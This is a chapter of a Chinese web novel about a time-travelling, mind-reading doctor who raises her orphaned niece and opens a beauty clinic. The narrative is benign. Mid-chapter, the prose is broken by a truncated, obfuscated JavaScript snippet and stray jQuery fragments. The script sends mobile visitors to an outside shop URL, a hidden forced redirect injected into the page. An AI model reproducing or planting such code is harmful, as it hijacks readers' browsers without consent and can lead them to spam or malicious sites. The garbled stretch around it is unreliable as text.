文趣网 > 都市小说 > nerd与八卦之神的关系是? > 8. 为养娃小谢创业
    谢平忧在挽月楼后院租了两间朝西的小房间,夏寒偷偷帮她搬来几件谢府里的好家具,再加上楼里姐姐妹妹们送来的被褥瓷具之类的,林林总总,收拾起来竟然也是个颇有情趣的小家。

    她和侄女暂时就在这片瓦檐下落了脚,柳贞娘日日前来看望,担心孩子吃不饱睡不好,见到谢平忧煮羊奶熬米糊喂她,连忙叫停,说要给孩子找个奶娘。

    谢平忧略一思忖,也就点头答应了。

    京城里不缺好的乳母,柳贞娘越挑眼光越高,最后挑回来一位方方面面都拔尖的,对方要价颇高,抵得过谢平忧在挽月楼日常行医的全部收入。

    养孩子实在不轻松,软性困难和硬性困难一齐奔来,谢平忧能在表面上糊弄过去,不至于人仰马翻,还全仰仗她穿越后自带的金手指——原来并未失灵,只是不知道为什么出现了寇定那样一个例外。

    这被动的读心术用来倾听婴儿心声是绝对的养娃神器,因为谢平忧只要看她一眼,立即就知道她那核桃仁大小的脑瓜里究竟是在想些什么。

    一般来说,这小姑娘想的无非也就是那么几件事:有点饿了、很饿很饿、再不喂我就要饿死了!!!困,进入奶香奶香的梦中……要拉了。

    有时候她踩着摇篮一边看书一边哄孩子入睡,哄着哄着忘记了时间,猛地回过神来,转头看小家伙已经陷入了甜蜜的梦乡,她脸上也会露出痴汉般的微笑,服服帖帖的人类幼崽多可爱啊,前世的那些儿科同仁们要是知道她哄孩子这样容易,大概都得羡慕得吐血三升。

    这日晌午,蓝天响晴,柳贞娘提着个食盒,步履匆匆地又来看她。

    隔老远,谢平忧就伸出了脑袋朝她比个“嘘”的手势。

    “哟!睡啦?”柳贞娘马上放轻了步调,小心翼翼地迈进门来,弯腰看了摇篮中的小孩两眼,关切问:“尿了吗?”

    “半个时辰之前尿过,等睡醒了再端她去。”谢平忧抚平书脚,站在一边轻声说。

    柳贞娘捂着嘴噗呲一笑。

    谢平忧不明所以地跟着翘起嘴角:“您这是笑什么?”

    “我笑小周大夫一个大男人,还能端屎端尿、哄睡又哄饭的,真是世间罕见。”

    谢平忧幽默地应道:“可千万别往外说,在您这儿是美名,传出去别的男人要笑掉大牙呢。”

    柳贞娘心领神会地瞥她一眼,眼神似乎在说你这促狭鬼——接着递上食盒,热络道:“浮云楼新出的咸桃酥,周大夫尝尝?”

    “这怎么好意思?”谢平忧不怎么坚决地推拒了一下,食盒还在她手中打开,咸香扑鼻,油润酥脆得恰到好处。

    她洗了手拈起一块接着吃,柳贞娘便替了她的位置接着晃摇篮,边晃边指着谢平忧刚放下的书问:“这女娃的名字起好了吗?”

    “嗯。”谢平忧咽下嘴里的桃酥,介绍说:“谢家到她这一辈行允,我又择了几个字,一一念给她听,她自己选了一个,叫允存。”

    柳贞娘只当她说玩笑话,这么小的孩子,哪儿能自己分辨名字好坏啊,不过允存——这二字倒是很契合这孩子大难不死的命运。

    “起得好,有小名吗?”柳贞娘带着几分期冀问,她是但愿还没有的,这样一来,她就能趁机献上自己苦思冥想后的小名,她打算叫这孩子阿桂,以此纪念谢平怀身上独特的桂花香气。

    不料谢平忧笑盈盈地一点头说:“叫七月。”

    “也……也不错,挺顺口的。”

    “柳妈妈找我有其他的事?”谢平忧捻了捻指尖的桃酥沫子,放下食盒看着她。

    “没有——”

    “还是说吧。”谢平忧耐心地等她开口。

    “小周大夫,你托我去帮忙问的铺面我都问过了,这其中要价最低的……也比你出价高三成,万一你盘下来生意不好,不出半年就能把家当全赔进去,到时候还带着个孩子……”

    京城地皮值钱,从古至今都没怎么变过,谢平忧上辈子买不起一间厕所,这辈子租不起一间门面,念及此,她居然无奈地笑出了声来。

    “小周大夫,要不然你还是就在咱们楼里看看病,孩子的事总归有大伙儿帮忙照应着。”

    柳贞娘不看好她创业,一来是外边不太平,地头蛇年年换,能扎根一处生存下去的都是有根基有靠山的,像周大夫这种一没名气二没人脉的个体户,很容易让流氓地痞欺负;二么,是觉得她性格斯文,不善经营,虽说开医馆是为了行医挣钱,但行医和挣钱可是完完全全两回事。

    这番心声一字不落地被谢平忧偷听过去,她掀起眼几欲多言,最后却只是摇摇头,安抚地一笑道:“柳妈妈放心,我既然敢这么干,自然有敢的理由。”

    说罢,她起身去房里打开了樟木箱子,从箱底翻出一间雪白狐裘,柳贞娘见她抱着这么件衣服出来,登时惊得站起来:“周大夫这可使不得!”

    九月京城溽暑已消,漫长秋燥过去,眼看天就要凉了,等到了冬天周大夫连件像样的衣服都没有,还怎么过年呢?

    谢平忧也有几分舍不得,但别无办法,只能把狐裘递出去,拜托对方道:“京城里的当铺大多名声不好,就是名声好的我也不太熟悉,还请柳妈妈帮忙卖个好价钱,无论如何,这医馆我要先开起来再说。”

    “哎,你这!”柳贞娘捧着狐裘,咬牙骂了一声老天爷。

    没多久医馆开业,位置选在离挽月楼七里路的北辰斜街,左边挨着布料坊,右边是家首饰铺,往来的都是有钱人家的夫人小姐,见店门口招牌挂出来“驻颜有术”四个大字,纷纷好奇议论,只是谁也不想当第一个吃螃蟹的人,大家都想等其他人评价完再说。

    谢平忧每日来回步行十四里路,守着空店不进账分文,这景象急坏了柳贞娘,她没法子,只能求助他人。于是这日上午,谢平忧刚到店里坐下,一辆马车便轻快地停在了店门口,打车上下来位风姿绰约的美人,美人头戴斗笠,面罩薄纱,款款进门来。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616585|206097||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >谢平忧从柜后起身,正要开口,对方主动解了面纱,四目相对,杜若霜先粲然一笑:“问周大夫好。”

    谢平忧嘴角也慢慢扬起来,最终定格成一个真切又宽慰的笑容:“背上的伤怎么样了?”

    行医这些年,两世的经历加起来都找不出比杜若霜更凶险的案例,而她自打从寇定府上离开之后,再没听过杜若霜半点消息,午夜梦回,时常犹疑这位头号危险的病人经自己诊疗,究竟是闯过了鬼门关呢?还是已经成了乱世暗流下的一缕孤魂。

    今天见她能好端端站在自己面前,谢平忧心中的巨石总算是落了地。

    “托您的福,好多了。”杜若霜摘了斗笠,环顾店内,果然——和柳贞娘讲的一样冷清,她开门见山道:“周大夫这是要做生意?”

    谢平忧尴尬地随她视线转了圈,搁下笔道:“有个乳臭未干的孩子要养,也不好像从前那样没成算了。”

    杜若霜打趣道:“置地盖屋养孩子,周大夫身上这担子不轻呢。”

    谢平忧一哂,微微摇头。

    “这世道经营不易,酒香也怕巷子深,周大夫这里反正无人来问,不如拿我做个活招牌如何?”

    她方才一进门,谢平忧便看穿了来意,免费广告她本该不好意思用的,奈何事实如杜若霜所说——继续守着她大家闺秀的那份清高过日子,小七月就真要跟着她去喝西北风了。

    “杜姑娘连周某做什么生意都还不清楚……”

    “周大夫总不至于害我。”杜若霜爽快道:“要我做些什么,只管开口就好。”

    一炷香后,杜若霜又遮盖严实提着几包药出门上了马车。

    自此她每隔一日便来造访一回,浑身的装束也从“不露一丝面容”到“渐渐露出半张脸”,最后索性露出全脸,昔日挽月楼花魁的光彩重现于世,马上就引爆了京城妇女间的流量话题。

    也不知道是从哪儿先传出来的消息,说杜若霜销声匿迹这段日子,其实是因为面生恶疮容貌有损,多亏了北辰斜街一位叫周游的外地大夫,大夫妙手回春,竟然在不留疤痕的情况下将杜若霜给彻底治好了,还调理得面泛春光更甚从前。

    于是乎这间夹在布料店与首饰铺之间的小医馆,从无人问津一跃成了北辰斜街上的顶流,每日开门就得排队,太阳落山了还有人遣家中小厮来问:“周大夫明日几时来?”

    谢平忧扫那人一眼,心中了然——这是替大理寺少卿家待出阁的胖丫头问的,那闺女自小胃口奇大,青春期跟气球一样吹起来,现在过了十七,眼看要择婿,还没瘦身成功,心中着实焦虑。

    “我尽力早些。”谢平忧点好账簿,落了锁,回身一看那小厮还没走,又上前吩咐道:“叮嘱你家小姐,来时将她吃饭的碗带上。”

    小厮不明所以,懵懂地点了点头。

    谢平忧笑笑,负手转身往瓷鱼巷走去,怀中银锭坠得口袋都快破了,路遇叫卖糖葫芦的,买下一整挂,雇了辆马车回家。